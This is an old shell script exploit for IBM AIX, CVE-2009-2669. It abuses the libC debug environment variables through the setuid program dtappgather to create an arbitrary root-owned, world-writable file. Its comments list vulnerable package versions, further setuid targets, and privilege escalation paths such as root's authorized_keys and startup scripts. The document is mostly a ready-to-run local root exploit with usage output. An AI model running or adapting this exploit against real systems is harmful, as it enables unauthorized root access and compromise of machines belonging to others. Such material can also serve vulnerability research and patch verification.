#!/bin/sh # # $Id: raptor_libC,v 1.1 2009/09/10 15:08:04 raptor Exp $ # # raptor_libC - AIX arbitrary file overwrite via libC debug # Copyright (c) 2009 Marco Ivaldi # # Property of @ Mediaservice.net Srl Data Security Division # http://www.mediaservice.net/ http://lab.mediaservice.net/ # # *** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING *** # # A certain debugging component in IBM AIX 5.3 and 6.1 does not properly handle # the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE environment variables, which # allows local users to gain privileges by leveraging a setuid-root program to # create an arbitrary root-owned file with world-writable permissions, related # to libC.a (aka the XL C++ runtime library) in AIX 5.3 and libc.a in AIX 6.1 # (CVE-2009-2669). # # Typical privilege escalation techniques via arbitrary file creation don't # seem to work on recent AIX versions: .rhosts is ignored if it is group or # world writable; LIBPATH and LDR_PRELOAD have no effect for setuid binaries; # /var/spool/cron/atjobs seems useless as well, since we cannot open cron's # named pipe /var/adm/cron/FIFO. Other viable exploitation vectors that come # to mind, depending on the target box setup, are: /root/.ssh/authorized_keys, # /root/{.profile,.kshrc}, and /etc/rc.d/rc2.d. # # See also: http://milw0rm.com/exploits/9306 # # Usage: # $ uname -a # AIX rs6000 3 5 0052288E4C00 # $ lslpp -L xlC.rte | grep xlC.rte # xlC.rte 9.0.0.1 C F XL C/C++ Runtime # $ chmod +x raptor_libC # $ ./raptor_libC /bin/bobobobobob # [...] # -rw-rw-rw- 1 root staff 63 Sep 10 09:55 /bin/bobobobobob # # Vulnerable platforms (AIX 5.3): # xlC.rte < 8.0.0.0 [untested] # xlC.rte 8.0.0.0-8.0.0.14 [untested] # xlC.rte 9.0.0.0-9.0.0.9 [tested] # xlC.rte 10.1.0.0-10.1.0.2 [untested] # # Vulnerable platforms (AIX 6.1): # bos.rte.libc 6.1.0.0-6.1.0.11 [untested] # bos.rte.libc 6.1.1.0-6.1.1.6 [untested] # bos.rte.libc 6.1.2.0-6.1.2.5 [untested] # bos.rte.libc 6.1.3.0-6.1.3.2 [untested] # bos.adt.prof 6.1.0.0-6.1.0.10 [untested] # bos.adt.prof 6.1.1.0-6.1.1.5 [untested] # bos.adt.prof 6.1.2.0-6.1.2.4 [untested] # bos.adt.prof 6.1.3.0-6.1.3.1 [untested] # echo "raptor_libC - AIX arbitrary file overwrite via libC debug" echo "Copyright (c) 2009 Marco Ivaldi " echo # check the arguments if [ -z "$1" ]; then echo "*** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***" echo echo "Usage: $0 " echo exit fi # prepare the environment _LIB_INIT_DBG=1 _LIB_INIT_DBG_FILE=$1 export _LIB_INIT_DBG _LIB_INIT_DBG_FILE # gimme -rw-rw-rw-! umask 0 # setuid program linked to /usr/lib/libC.a /usr/dt/bin/dtappgather # other good setuid targets # /usr/dt/bin/dtprintinfo # /opt/IBMinvscout/bin/invscoutClient_VPD_Survey # check the created file ls -l $_LIB_INIT_DBG_FILE echo